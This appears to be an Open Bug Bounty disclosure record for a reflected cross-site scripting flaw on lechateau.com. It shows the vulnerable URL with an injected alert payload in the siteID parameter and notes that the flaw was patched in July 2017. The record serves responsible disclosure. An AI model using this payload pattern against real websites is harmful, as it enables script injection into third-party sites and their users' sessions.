lechateau.com XSS vulnerability

Vulnerable URL: http://www.lechateau.com/style/linkshare/index.jsp?siteID=OOTtr9mlaCk-qQ5di8GsBCXSobbgEvxLHQ=https://www.openbugbounty.org'; alert'OPENBUGBOUNTY'; //=333=enCA=true Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:20 GMT...